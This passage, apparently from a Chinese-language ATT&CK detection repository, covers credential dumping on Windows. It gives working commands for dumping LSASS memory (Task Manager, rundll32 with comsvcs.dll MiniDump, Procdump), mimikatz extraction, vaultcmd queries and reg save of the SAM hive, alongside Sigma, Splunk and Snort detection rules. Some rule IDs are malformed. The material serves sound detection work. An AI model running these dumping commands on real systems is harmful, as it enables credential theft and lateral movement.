排除合法Procdump路径(`\procdump.exe`、`\procdump64.exe`),降低误报。 ### 检测思路 1. **日志监控**: - 监控事件ID1/4688,检测`procdump.exe`执行,关注命令行包含`lsass.exe`。 - 监控事件ID10,检测`procdump.exe`访问`lsass.exe`。 - 监控事件ID11,检测`.dmp`文件创建。 2. **行为分析**: - 检测非管理员用户运行Procdump的异常行为。 - 监控短时间内多次LSASS内存转储尝试。 3. **文件监控**: - 监控`.dmp`文件创建,关注路径如`C:\Users\*\*.dmp`。 - 启用对象访问审计,检测`lsass.exe`的异常访问。 4. **网络监控**: - 捕获`.dmp`文件传输流量(SMB445/TCP、FTP21/TCP)。 - 示例Snort规则: ```snort alert tcp any any -> any 445 (msg:"LSASS Dump File Transfer"; content:".dmp"; sid:1000005;) ``` 5. **关联分析**: - 结合事件ID4624(登录成功),检测转储后的异常登录。 - 监控Mimikatz执行(事件ID1,`mimikatz.exe`)。 ## 防御建议 1. **权限管理**: - 限制普通用户对`lsass.exe`的访问权限(通过组策略)。 - 仅允许必要管理员使用Procdump。 2. **日志与监控**: - 部署Sysmon,启用事件ID1、10、11。 - 启用事件ID4688和4656(对象访问审计)。 - 使用SIEM(如Splunk)关联Procdump执行和LSASS访问。 3. **凭据保护**: - 启用CredentialGuard(Windows10/2016+),防止LSASS存储明文凭据。 - 禁用WDigest协议(组策略:计算机配置>管理模板>MSSecurity Guide>WDigestAuthentication)。 4. **工具限制**: - 使用AppLocker或WDAC限制`procdump.exe`和`mimikatz.exe`的执行。 - 监控非Sysinternals签名的Procdump副本。 5. **主动防御**: - 部署诱捕凭据(HoneyCredentials),监控异常LSASS访问。 - 使用EDR工具检测Procdump和Mimikatz行为。 ## 参考推荐 - MITREATT&CK:CredentialDumping(T1003) - Procdump使用指南 - Mimikatz文档 - WindowsSSPI模型 - MSV身份验证包 - WDigest摘要认证协议 - Kerberos身份认证协议 - CredSSP协议 - LSASS凭据提取防御 ================================================ FILE: Windows/08凭证访问/T1003-win-vaultcmd获取系统凭证基本信息.md ================================================ # T1003-Win-Vaultcmd获取系统凭据基本信息 ## 描述 凭据导出是指攻击者从操作系统或软件中提取账户登录名和密码(明文或哈希)以进行横向移动或访问受限资源。Windows Credential Manager存储用户凭据(如Web、Windows、证书等),攻击者可通过`vaultcmd.exe`(Windows内置工具)查询和提取这些凭据信息。`vaultcmd`允许列出凭据保管库(Vault)、凭据概要及其属性,但无法直接提取明文密码(需结合其他工具如Mimikatz)。此技术通常用于初始凭据收集或权限提升。 ## 测试案例 **测试环境**: - 系统:Windows Server 2016/2019或Windows10 - 工具:vaultcmd.exe(系统自带) - 要求:本地管理员权限或普通用户权限(视凭据访问权限而定)、启用Windows安全日志或Sysmon - 域环境:lab.local(可选) **测试准备**: 1. 确保系统启用了Credential Manager(默认启用)。 2. 启用Windows安全日志审计(组策略:计算机配置>策略>Windows设置>安全设置>本地策略>审核策略>进程跟踪)。 3. 安装Sysmon(可选,增强进程监控)。 4. 保存测试用凭据(如浏览器保存的Web凭据)。 **测试步骤**: 1. **列出所有凭据保管库**: ```cmd vaultcmd/list ``` 预期输出: ``` Currentlyavailablecredentialvaults: Vault:WebCredentials VaultGUID:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} Vault:WindowsCredentials VaultGUID:{77BC582B-0E2E-4F8E-B8A6-3F4A5B6C7D8E} ``` 2. **列出保管库概要和GUID**: ```cmd vaultcmd/listschema ``` 预期输出: ``` Vault schema: Name: Web Credentials GUID: {4BF4C442-9B8A-41A0-B380-DD4A704DDB28} Name: Windows Credentials GUID: {77BC582B-0E2E-4F8E-B8A6-3F4A5B6C7D8E} ``` 3. **列出“WebCredentials”保管库的凭据**: ```cmd vaultcmd /listcreds:"WebCredentials" ``` 或(中文系统,使用GUID): ```cmd vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} ``` 预期输出: ``` Credential:https://example.com ResourceName:example.com UserName:testuser LastModified:2025-06-17 10:30:00 AM ``` 4. **列出保管库属性**: ```cmd vaultcmd /listproperties:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} ``` 预期输出: ``` Vaultproperties: VaultGUID:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} Location:C:\Users\testuser\AppData\Local\Microsoft\Vault\{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} CredentialCount:1 ProtectionMethod:DPAPI ``` **参考资源**: - WindowsCredentialManager信息获取: - MITREATT&CKT1003: ## 检测日志 **数据来源**: - **Windows安全日志**: - 事件ID4688:新进程创建(vaultcmd.exe) - **Sysmon日志**(推荐): - 事件ID1:进程创建(vaultcmd.exe) - 事件ID3:网络连接(若凭据涉及远程服务) - **PowerShell日志**(可选): - 事件ID4103/4104:若通过PowerShell调用vaultcmd - **文件访问日志**: - 监控`%localappdata%\Microsoft\Vault\`路径的文件访问(需启用对象访问审计)。 **关键日志字段**: - 事件ID4688/1: - `ProcessName`:C:\Windows\System32\VaultCmd.exe - `CommandLine`:包含`/list`、`/listschema`、`/listcreds`、`/listproperties` - `ParentProcessName`:C:\Windows\System32\cmd.exe - 事件ID3(Sysmon): - `DestinationPort`:可能涉及Web服务端口(如80、443) ## 测试复现 **环境配置**: - 系统:Windows10 - 工具:vaultcmd.exe - 用户:testuser(普通用户或管理员) - 凭据:保存Web凭据(如浏览器登录example.com) **复现步骤**: 1. 打开CMD(以testuser身份): ```cmd C:\Users\testuser>vaultcmd /list ``` 输出: ``` Currentlyavailablecredentialvaults: Vault:WebCredentials VaultGUID:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} ``` 2. 查询WebCredentials凭据: ```cmd C:\Users\testuser>vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} ``` 输出: ``` Credential:https://example.com ResourceName:example.com UserName:testuser LastModified:2025-06-17 ``` 3. 查询保管库属性: ```cmd C:\Users\testuser>vaultcmd /listproperties:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} ``` 输出: ``` Vaultproperties: VaultGUID:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} Location:C:\Users\testuser\AppData\Local\Microsoft\Vault\{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} CredentialCount:1 ProtectionMethod:DPAPI ``` 4. 验证日志:检查事件ID4688(Windows安全日志)或事件ID1(Sysmon)。 ## 测试留痕 **Windows安全日志**: - **事件ID4688**(进程创建): ```xml C:\Windows\System32\VaultCmd.exe vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} C:\Windows\System32\cmd.exe testuser ``` **Sysmon日志**: - **事件ID1**(进程创建): ```xml C:\Windows\System32\VaultCmd.exe vaultcmd /listcreds:{4BF4C442-9B8A-41A0-B380-DD4A704DDB28} C:\Windows\System32\cmd.exe LAB\testuser ``` **文件访问日志**(需启用对象访问审计): - 访问路径:`C:\Users\testuser\AppData\Local\Microsoft\Vault\{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}` **注意**:`vaultcmd`本身不直接提取明文密码,日志仅记录查询行为。若攻击者结合Mimikatz提取明文,需监控Mimikatz相关进程(参考T1003.001)。 ## 检测规则/思路 ### Sigma规则 **规则一:检测vaultcmd凭据查询行为**: ```yaml title: VaultCmd凭据查询检测 id: h8c9d0e1-2f3g-4h9i-cj4d-1e2f3g4h5i6j status: stable description: 检测使用vaultcmd.exe查询Windows Credential Manager凭据的行为 references: -https://attack.mitre.org/techniques/T1003/ -https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B8%ADCredential-Manager%E7%9A%84%E4%BF%A1%E6%81%AF%E8%8E%B7%E5%8F%96/ tags: -attack.credential_access -attack.t1003 logsource: category: process_creation product: windows detection: selection: EventID|in: -4688 -1 Image|endswith: '\VaultCmd.exe' CommandLine|contains: -'/list' -'/listschema' -'/listcreds' -'/listproperties' condition: selection fields: -ComputerName -User -Image -CommandLine falsepositives: -管理员合法查询CredentialManager -系统维护脚本调用vaultcmd level: medium ``` **规则优化说明**: - 聚焦`vaultcmd.exe`的典型命令行参数(`/list`、`/listschema`、`/listcreds`、`/listproperties`)。 - 支持Windows安全日志(4688)和Sysmon(1),提高覆盖率。 - 排除合法管理员操作,降低误报。 ### 检测思路 1. **日志监控**: - 监控事件ID4688/1,检测`vaultcmd.exe`进程创建及命令行参数。 - 检查`ParentProcessName`,关注非预期父进程(如cmd.exe而非管理工具)。 2. **行为分析**: - 检测非管理员用户运行`vaultcmd`的异常行为。 - 监控短时间内多次`vaultcmd`执行,可能是自动化脚本。 3. **文件监控**: - 启用对象访问审计,监控`%localappdata%\Microsoft\Vault\`路径的访问。 - 检查异常进程(如非系统进程)访问Vault文件。 4. **关联分析**: - 结合事件ID4624(登录成功),检测`vaultcmd`执行后的异常登录行为。 - 若发现`mimikatz.exe`或其他凭据提取工具,关联分析以确认明文凭据提取。 5. **Sysmon增强**: - 使用事件ID1监控`vaultcmd.exe`进程。 - 事件ID11监控Vault文件夹的文件操作。 ## 防御建议 1. **权限管理**: - 限制普通用户对CredentialManager的访问权限。 - 使用组策略禁用非必要用户对`%localappdata%\Microsoft\Vault\`的写权限。 2. **日志与监控**: - 启用事件ID4688(进程创建)和对象访问审计,监控`vaultcmd.exe`和Vault文件夹。 - 部署Sysmon,记录事件ID1(进程创建)和11(文件操作)。 - 使用SIEM(如Splunk)关联`vaultcmd`执行和异常登录行为。 3. **凭据保护**: - 启用DPAPI增强保护,防止凭据被轻易解密。 - 定期清理不必要的保存凭据(如浏览器Web凭据)。 4. **工具限制**: - 使用AppLocker或WDAC限制`vaultcmd.exe`的非管理员执行。 - 监控Mimikatz等工具,防止结合`vaultcmd`提取明文凭据。 5. **主动防御**: - 部署诱捕凭据(HoneyCredentials),监控异常访问。 - 使用EDR工具检测`vaultcmd.exe`和可疑父进程(如cmd.exe)。 ## 参考推荐 - MITREATT&CK:CredentialDumping(T1003) - WindowsCredentialManager信息获取 - WindowsVault命令参考 ================================================ FILE: Windows/08凭证访问/T1003-win-使用Windows任务管理器转储Lsass.exe内存.md ================================================ # T1003-Win-使用Windows任务管理器转储Lsass.exe内存 ## 描述 凭据转储(Credential Dumping,MITRE ATT&CK T1003)是指攻击者从操作系统或软件中提取用户登录凭据(明文密码、NTLM哈希或Kerberos票据)以实现横向移动或访问受限资源。在Windows系统中,本地安全机构子系统服务(LSASS)进程(lsass.exe)存储用户会话的凭据信息。攻击者可通过Windows任务管理器以管理员权限转储`lsass.exe`内存,生成`.dmp`文件,随后使用Mimikatz等工具离线提取凭据。此技术无需外部工具,操作简单,但需本地管理员权限,且转储文件可能被安全软件检测。 ## 测试案例 ### 测试环境 - 系统:Windows Server 2019或Windows 10 - 工具:Windows任务管理器(内置)、Mimikatz(可选,离线分析) - 要求:本地管理员权限、域环境(lab.local,可选) - 用户:Administrator(密码:Password123) - 日志:Sysmon(事件ID1、11)、Windows安全日志(事件ID4688、4656) ### 测试准备 1. 确认管理员权限: ```cmd whoami /priv ``` - 确保具有`SeDebugPrivilege`权限。 2. 安装Sysmon(可选): - 下载: - 配置:启用事件ID1(进程创建)、11(文件操作)。 - 示例配置:`sysmon.exe -i sysmonconfig.xml` 3. 启用安全日志审计: - 组策略:计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 进程跟踪、对象访问 > 启用成功和失败审计。 4. 下载Mimikatz(可选): - URL: - 放置于本地(C:\Tools\mimikatz)。 5. 确保活跃用户会话: - 登录Administrator或其他用户,生成LSASS凭据。 ### 测试步骤 1. **打开任务管理器**: - 按`Ctrl+Shift+Esc`或右键任务栏 > 任务管理器。 - 若非管理员模式,右键任务管理器图标 > 以管理员身份运行。 2. **定位lsass.exe**: - 切换到“详细信息”标签,找到`lsass.exe`(本地安全机构进程)。 3. **转储内存**: - 右键`lsass.exe` > 创建转储文件。 - 记录转储路径(如`C:\Users\Administrator\AppData\Local\Temp\lsass.DMP`)。 4. **验证转储文件**: - 导航到`C:\Users\Administrator\AppData\Local\Temp\`。 - 确认`lsass.DMP`存在(约50-100MB)。 5. **离线提取凭据**(可选): - 复制`lsass.DMP`到分析系统。 - 使用Mimikatz: ```cmd mimikatz.exe "sekurlsa::minidump lsass.DMP" "sekurlsa::logonpasswords" exit ``` - 输出示例: ``` msv: * Username: Administrator * Domain: LAB * NTLM: wdigest: * Username: Administrator * Domain: LAB * Password: Password123 ``` ### 参考资源 - LSASS内存转储技术: - Mimikatz文档: - MITRE ATT&CK T1003: ## 检测日志 ### 数据来源 - **Sysmon日志**: - 事件ID1:进程创建(taskmgr.exe) - 事件ID11:文件创建(lsass.DMP) - **Windows安全日志**: - 事件ID4688:进程创建(taskmgr.exe) - 事件ID4656:文件访问(lsass.DMP,需启用对象访问审计) - **文件系统**: - 监控`%localappdata%\Temp\`或`C:\Windows\Temp\`的`.dmp`文件 - **网络流量**(可选): - 捕获`.dmp`文件传输(SMB 445/TCP、FTP 21/TCP) ### 日志示例 - **Sysmon事件ID1**(taskmgr.exe进程创建): ```xml C:\Windows\System32\taskmgr.exe C:\Windows\System32\taskmgr.exe C:\Windows\explorer.exe LAB\Administrator ``` - **Sysmon事件ID11**(lsass.DMP文件创建): ```xml C:\Users\Administrator\AppData\Local\Temp\lsass.DMP C:\Windows\System32\taskmgr.exe LAB\Administrator ``` - **Windows事件ID4656**(文件访问,需启用审计): ```xml C:\Users\Administrator\AppData\Local\Temp\lsass.DMP C:\Windows\System32\taskmgr.exe Administrator ``` ## 测试复现 ### 环境配置 - 系统:Windows 10 - 工具:任务管理器 - 用户:Administrator(密码:Password123) - 日志:Sysmon(事件ID1、11) - 路径:C:\Users\Administrator\AppData\Local\Temp\ ### 复现步骤 1. **启动任务管理器**: ```cmd taskmgr ``` - 或按`Ctrl+Shift+Esc`。 2. **转储lsass.exe**: - 切换到“详细信息”标签,右键`lsass.exe` > 创建转储文件。 - 记录路径(如`C:\Users\Administrator\AppData\Local\Temp\lsass.DMP`)。 3. **验证文件**: ```cmd dir C:\Users\Administrator\AppData\Local\Temp\lsass.DMP ``` - 输出:确认文件存在。 4. **离线分析**(可选): ```cmd mimikatz.exe "sekurlsa::minidump C:\Users\Administrator\AppData\Local\Temp\lsass.DMP" "sekurlsa::logonpasswords" exit ``` - 输出: ``` wdigest: * Username: Administrator * Domain: LAB * Password: Password123 ``` 5. **检查日志**: - Sysmon事件ID11:确认`lsass.DMP`创建。 ## 测试留痕 ### Sysmon日志 - **事件ID1**: ```xml C:\Windows\System32\taskmgr.exe C:\Windows\System32\taskmgr.exe C:\Windows\explorer.exe LAB\Administrator ``` - **事件ID11**: ```xml C:\Users\Administrator\AppData\Local\Temp\lsass.DMP C:\Windows\System32\taskmgr.exe LAB\Administrator ``` ### Windows安全日志 - **事件ID4656**(需启用审计): ```xml C:\Users\Administrator\AppData\Local\Temp\lsass.DMP C:\Windows\System32\taskmgr.exe Administrator ``` ### 文件系统 - 文件:`C:\Users\Administrator\AppData\Local\Temp\lsass.DMP`(50-100MB) ## 检测规则/思路 ### 检测方法 1. **日志监控**: - Sysmon事件ID11:检测`taskmgr.exe`创建`lsass.DMP`。 - Sysmon事件ID1:监控`taskmgr.exe`异常启动(非explorer.exe父进程)。 2. **文件监控**: - 审计`%localappdata%\Temp\`和`C:\Windows\Temp\`的`.dmp`文件创建。 - 监控`lsass.DMP`的异常访问或传输。 3. **行为分析**: - 检测非预期管理员启动任务管理器。 - 监控短时间内多次`.dmp`文件生成。 4. **网络监控**: - 捕获`.dmp`文件传输(SMB 445/TCP、FTP 21/TCP)。 5. **关联分析**: - 结合事件ID4624,检测转储后的异常登录。 - 监控Mimikatz执行(事件ID1,`mimikatz.exe`)。 ### Sigma规则 #### 规则一:任务管理器转储LSASS ```yaml title: 任务管理器转储LSASS内存检测 id: k1f2g3h4-5i6j-7k8l-fm7g-4h5i6j7k8l9m status: stable description: 检测任务管理器创建lsass.DMP文件的LSASS内存转储行为 references: - https://attack.mitre.org/techniques/T1003/ tags: - attack.credential_access - attack.t1003 logsource: product: windows category: file_event detection: selection: EventID: 11 Image|endswith: '\taskmgr.exe' TargetFilename|contains: 'lsass.DMP' condition: selection fields: - ComputerName - User - Image - TargetFilename falsepositives: - 管理员合法调试 - 系统诊断工具生成转储 level: high ``` #### 规则二:异常任务管理器启动 ```yaml title: 异常任务管理器启动检测 id: l2g3h4i5-6j7k-8l9m-gn8h-5i6j7k8l9m0n status: stable description: 检测任务管理器异常启动,可能与LSASS转储相关 references: - https://attack.mitre.org/techniques/T1003/ tags: - attack.credential_access - attack.t1003 logsource: product: windows category: process_creation detection: selection: EventID|in: - 4688 - 1 Image|endswith: '\taskmgr.exe' ParentImage|notcontains: - '\explorer.exe' - '\cmd.exe' condition: selection fields: - ComputerName - User - Image - ParentImage falsepositives: - 管理员通过脚本启动任务管理器 level: medium ``` ### Splunk规则 ```spl index=sysmon EventCode=11 Image="*taskmgr.exe" TargetFilename="*lsass.DMP" OR (EventCode IN (1,4688) Image="*taskmgr.exe" NOT (ParentImage IN ("*explorer.exe","*cmd.exe"))) | fields EventCode,Image,TargetFilename,ParentImage,User ``` 规则说明: - 检测`taskmgr.exe`创建`lsass.DMP`或异常启动。 - 减少误报:排除常见父进程。 ## 防御建议 1. **权限控制**: - 限制`SeDebugPrivilege`权限,仅授权必要管理员。 - 使用组策略禁止普通用户访问`lsass.exe`。 2. **日志监控**: - 部署Sysmon,启用事件ID1、11。 - 启用对象访问审计,监控`lsass.DMP`。 - 使用SIEM关联`taskmgr.exe`和`.dmp`事件。 3. **凭据保护**: - 启用Credential Guard(Windows 10/2016+)。 - 禁用WDigest协议(组策略)。 4. **工具限制**: - 使用AppLocker限制`taskmgr.exe`非预期执行。 - 监控Mimikatz运行。 5. **主动防御**: - 部署诱捕凭据,监控LSASS访问。 - 使用EDR检测`taskmgr.exe`异常行为。 ## 参考推荐 - MITRE ATT&CK T1003: - LSASS内存转储技术: - Mimikatz文档: - LSASS防御最佳实践: - Sysmon配置指南: ================================================ FILE: Windows/08凭证访问/T1003-win-使用comsvc​​s.dll转储Lsass.exe内存.md ================================================ # T1003-Win-使用Comsvcs.dll转储Lsass.exe内存 ## 描述 凭据转储是指攻击者从操作系统或软件中提取账户登录名和密码(明文或哈希)以进行横向移动或访问受限资源。Windows系统中,登录凭据存储在本地安全机构子系统服务(LSASS)进程内存中。攻击者可通过调用系统内置的`comsvcs.dll`(位于`C:\Windows\System32\`)中的`MiniDump`函数,使用`rundll32.exe`转储`lsass.exe`内存,生成`.dmp`文件,随后离线使用Mimikatz等工具提取凭据。此技术利用系统原生组件,隐蔽性强,但需管理员权限,且可能被EDR或杀毒软件检测。 ## 测试案例 **测试环境**: - 系统:Windows Server 2016/2019或Windows10 - 工具:rundll32.exe、comsvcs.dll(系统内置)、Mimikatz(可选,离线分析) - 要求:管理员权限、域环境(可选,lab.local)、启用Sysmon和PowerShell日志 - 用户:Administrator(测试账户) **测试准备**: 1. 确保以管理员身份登录(普通用户需提权)。 2. 安装Sysmon(配置事件ID 1:进程创建,11:文件操作,10:进程访问)。 3. 启用PowerShell日志(组策略:计算机配置>管理模板>Windows组件>WindowsPowerShell>启用模块日志)。 4. 启用Windows安全日志审计(组策略:计算机配置>策略>Windows设置>安全设置>本地策略>审核策略>进程跟踪、对象访问)。 5. 下载Mimikatz()用于离线凭据提取(可选)。 6. 使用`tasklist|findstrlsass.exe`获取`lsass.exe`的PID。 **测试步骤**: 1. **获取lsass.exe的PID**: ```cmd tasklist|findstrlsass.exe ``` 预期输出: ``` lsass.exe648Services09,876K ``` 2. **使用rundll32调用comsvcs.dll转储LSASS内存**: ```powershell rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 648 C:\AtomicRedTeam\lsass.dmp full ``` 或通过PowerShell动态获取PID: ```powershell C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Processlsass).id $env:TEMP\lsass-comsvcs.dmp full ``` 预期结果:生成`lsass.dmp`或`lsass-comsvcs.dmp`(约50-100MB)。 3. **验证转储文件**: - 导航到指定路径(如`C:\AtomicRedTeam\`或`%TEMP%`),确认`.dmp`文件存在。 4. **离线提取凭据**(可选): - 将`.dmp`文件传输到本地分析系统(通过SMB、USB等)。 - 使用Mimikatz提取凭据: ```cmd mimikatz.exe "sekurlsa::minidumplsass.dmp" "sekurlsa::logonpasswords" exit ``` 预期输出: ``` msv: *Username:Administrator *Domain:LAB *NTLM: wdigest: *Username:Administrator *Domain:LAB *Password:Password123 ``` **参考资源**: - comsvcs.dll转储技术: - Windows凭据提取: - MITREATT&CKT1003: ## 检测日志 **数据来源**: - **Sysmon日志**(推荐): - 事件ID1:进程创建(rundll32.exe) - 事件ID10:进程访问(rundll32.exe访问lsass.exe) - 事件ID11:文件操作(lsass.dmp创建) - **Windows安全日志**: - 事件ID4688:新进程创建(rundll32.exe) - 事件ID4656:文件访问(需启用对象访问审计,捕获lsass.dmp) - **PowerShell日志**: - 事件ID400:PowerShell引擎启动 - 事件ID4103/4104:PowerShell命令执行(若通过PowerShell调用) - **网络流量**: - 捕获`.dmp`文件传输(SMB445/TCP、FTP21/TCP等)。 **关键日志字段**: - 事件ID1(Sysmon): - `Image`:C:\Windows\System32\rundll32.exe - `CommandLine`:包含`comsvcs.dll`和`MiniDump` - `ParentImage`:powershell.exe或cmd.exe - 事件ID10(Sysmon): - `SourceImage`:C:\Windows\System32\rundll32.exe - `TargetImage`:C:\Windows\System32\lsass.exe - 事件ID11(Sysmon): - `TargetFilename`:C:\AtomicRedTeam\lsass.dmp或%TEMP%\lsass-comsvcs.dmp - 事件ID4688(Windows安全日志): - `ProcessName`:C:\Windows\System32\rundll32.exe - `CommandLine`:C:\Windows\System32\rundll32.exeC:\Windows\System32\comsvcs.dllMiniDump\lsass.dmpfull - 事件ID400(PowerShell): - `HostApplication`:powershell.exe-crundll32... ## 测试复现 **环境配置**: - 系统:Windows Server 2016 - 工具:rundll32.exe、comsvcs.dll(内置) - 用户:Administrator(密码:Password123) - 日志:Sysmon(事件ID1、10、11)、PowerShell(事件ID400) - 路径:C:\AtomicRedTeam\ **复现步骤**: 1. 获取lsass.exe的PID: ```cmd C:\>tasklist|findstrlsass.exe lsass.exe648Services09,876K ``` 2. 执行转储命令: ```powershell C:\>powershell -c "rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 648 C:\AtomicRedTeam\lsass.dmp full" ``` 或动态获取PID: ```powershell C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Processlsass).id $env:TEMP\lsass-comsvcs.dmp full ``` 3. 验证转储文件: - 检查`C:\AtomicRedTeam\lsass.dmp`或`%TEMP%\lsass-comsvcs.dmp`是否存在。 4. (可选)离线分析: - 传输`lsass.dmp`到本地系统。 - 使用Mimikatz: ```cmd C:\Tools\mimikatz>mimikatz.exe "sekurlsa::minidumplsass.dmp" "sekurlsa::logonpasswords" exit wdigest: *Username:Administrator *Domain:LAB *Password:Password123 ``` 5. 验证日志: - Sysmon:事件ID1(rundll32.exe)、11(lsass.dmp创建)。 - PowerShell:事件ID400(powershell.exe调用rundll32)。 - Windows安全日志:事件ID4688(rundll32.exe进程创建)。 ## 测试留痕 **Sysmon日志**: - **事件ID1**(进程创建): ```xml C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe "C:\Windows\System32\comsvcs.dll MiniDump 648 C:\AtomicRedTeam\lsass.dmp full C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe LAB\Administrator ``` - **事件ID10**(进程访问): ```xml C:\Windows\System32\rundll32.exe C:\Windows\System32\lsass.exe rundll32.exe|comsvcs.dll|ntdll.dll ``` - **事件ID11**(文件创建): ```xml C:\AtomicRedTeam\lsass.dmp C:\Windows\System32\rundll32.exe LAB\Administrator ``` **Windows安全日志**: - **事件ID4688**(进程创建): ```xml C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe "C:\Windows\System32\comsvcs.dll MiniDump 648 C:\AtomicRedTeam\lsass.dmp full C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Administrator %%1936 ``` **PowerShell日志**: - **事件ID400**(引擎启动): ```xml C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c rundll32 C:\Windows\System32\comsvcs.dll, MiniDump 648 C:\AtomicRedTeam\lsass.dmp full Available None af860283-73a9-452c-a1cd-ea808dbaf232 ``` **文件系统**: - 文件:`C:\AtomicRedTeam\lsass.dmp`或`%TEMP%\lsass-comsvcs.dmp`(约50-100MB) ## 检测规则/思路 ### Sigma规则 **规则一:检测rundll32调用comsvcs.dll转储LSASS**: ```yaml title: Rundll32调用comsvcs.dll转储LSASS检测 id: l2g3h4i5-6j7k-8l9m-gn8h-5i6j7k8l9m0n status: stable description: 检测通过rundll32调用comsvcs.dll的MiniDump函数转储LSASS内存的行为 references: -https://attack.mitre.org/techniques/T1003/ -https://www.cnblogs.com/Yang34/p/14418572.html tags: -attack.credential_access -attack.t1003 logsource: category: process_creation product: windows detection: selection: EventID|in: -4688 -1 Image|endswith: '\rundll32.exe' CommandLine|contains: -'comsvcs.dll' -'MiniDump' -'.dmp' condition: selection fields: -ComputerName -User -Image -CommandLine -ParentImage falsepositives: -管理员合法使用rundll32进行系统调试 -第三方软件调用comsvcs.dll level: critical ``` **规则二:检测comsvcs.dll创建LSASS转储文件**: ```yaml title: comsvcs.dll创建LSASS转储文件检测 id: m3h4i5j6-7k8l-9m0n-ho9i-6j7k8l9m0n1o status: stable description: 检测rundll32通过comsvcs.dll创建LSASS转储文件的行为 references: -https://attack.mitre.org/techniques/T1003/ tags: -attack.credential_access -attack.t1003 logsource: category: file_event product: windows detection: selection: EventID:11 Image|endswith: '\rundll32.exe' TargetFilename|contains: '.dmp' condition: selection fields: -ComputerName -User -Image -TargetFilename falsepositives: -合法调试工具生成转储文件 level: high ``` **规则优化说明**: - 规则一:聚焦`rundll32.exe`的命令行,检测`comsvcs.dll`和`MiniDump`的调用。 - 规则二:监控Sysmon事件ID11,检测`rundll32.exe`创建`.dmp`文件。 - 考虑`comsvcs.dll`路径变体(如非`System32`),但需平衡误报。 ### 检测思路 1. **日志监控**: - 监控Sysmon事件ID1/4688,检测`rundll32.exe`执行,命令行包含`comsvcs.dll`和`MiniDump`。 - 监控事件ID10,检测`rundll32.exe`访问`lsass.exe`。 - 监控事件ID11,检测`.dmp`文件创建(如lsass.dmp)。 - 监控PowerShell事件ID400/4104,捕获通过PowerShell调用rundll32的行为。 2. **行为分析**: - 检测非管理员用户以管理员权限运行`rundll32.exe`。 - 监控短时间内多次`.dmp`文件生成或`lsass.exe`访问。 3. **文件监控**: - 启用文件审计,监控`%TEMP%`或自定义路径(如`C:\AtomicRedTeam\`)的`.dmp`文件创建。 - 检查`comsvcs.dll`的异常加载(如非`C:\Windows\System32\`路径)。 4. **网络监控**: - 捕获`.dmp`文件传输流量(SMB445/TCP、FTP21/TCP)。 - 示例Snort规则: ```snort alerttcpanyany->any445(msg:"LSASSDMPFileTransfer";content:".dmp";sid:1000007;) ``` 5. **关联分析**: - 结合事件ID4624(登录成功),检测转储后的异常登录。 - 监控Mimikatz执行(事件ID1,`mimikatz.exe`)。 ## 防御建议 1. **权限管理**: - 限制普通用户对`lsass.exe`和`comsvcs.dll`的访问权限(通过组策略)。 - 仅允许必要管理员运行`rundll32.exe`高权限操作。 2. **日志与监控**: - 部署Sysmon,启用事件ID1、10、11。 - 启用PowerShell日志(事件ID400、4103/4104)。 - 启用对象访问审计,监控`%TEMP%\*.dmp`和`lsass.exe`。 - 使用SIEM(如Splunk)关联`rundll32.exe`、`comsvcs.dll`和`.dmp`文件创建。 3. **凭据保护**: - 启用CredentialGuard(Windows10/2016+),防止LSASS存储明文凭据。 - 禁用WDigest协议(组策略:计算机配置>管理模板>MSSecurityGuide>WDigestAuthentication)。 4. **工具限制**: - 使用AppLocker或WDAC限制`rundll32.exe`加载非签名DLL。 - 监控`comsvcs.dll`的非标准路径加载。 - 阻止Mimikatz等工具运行。 5. **主动防御**: - 部署诱捕凭据(HoneyCredentials),监控异常LSASS访问。 - 使用EDR工具检测`rundll32.exe`异常行为或`.dmp`文件生成。 - 安装终端防护软件(如360安全卫士),增强对`comsvcs.dll`滥用的检测。 ## 参考推荐 - MITREATT&CK:CredentialDumping(T1003) - comsvcs.dll转储技术 - Windows凭据提取 - Mimikatz文档 - LSASS凭据提取防御 - Rundll32参考 ================================================ FILE: Windows/08凭证访问/T1003.002-Win-基于Sam-reg凭证转储.md ================================================ # T1003.002-基于SAM-reg凭证获取 ## 描述 凭证获取是从操作系统或软件中提取登录信息(如密码哈希或明文密码)的过程,常用于横向移动以访问其他系统。安全账户管理器(SAM)是一个存储Windows本地账户密码哈希的数据库文件,位于`%SystemRoot%\system32\config\SAM`,注册表路径为`HKLM\SAM`。SAM存储用户密码的LM哈希或NTLM哈希,需系统权限(SYSTEM)才能访问。 为防止离线破解,WindowsNT4.0引入SYSKEY功能,部分加密SAM文件中的密码哈希。攻击者可通过导出SAM和SYSTEM注册表配置单元(或直接备份文件),使用工具如Mimikatz、pwdump7或hashcat离线提取哈希。提取的哈希可用于密码破解或传递哈希(Pass-the-Hash)攻击。 ## 测试案例 ### 测试案例1:使用reg命令导出SAM和SYSTEM文件 通过`reg save`导出注册表配置单元,离线提取密码哈希。 **命令**: ```cmd reg save HKLM\SAM C:\Temp\sam.hiv reg save HKLM\SYSTEM C:\Temp\system.hiv ``` - **说明**: - 导出`HKLM\SAM`和`HKLM\SYSTEM`到指定路径。 - 使用Mimikatz等工具离线提取哈希。 - **权限**:需要SYSTEM权限。 - **支持系统**:WindowsXP、Windows7、Windows8、Windows8.1、Windows10、WindowsServer。 ### 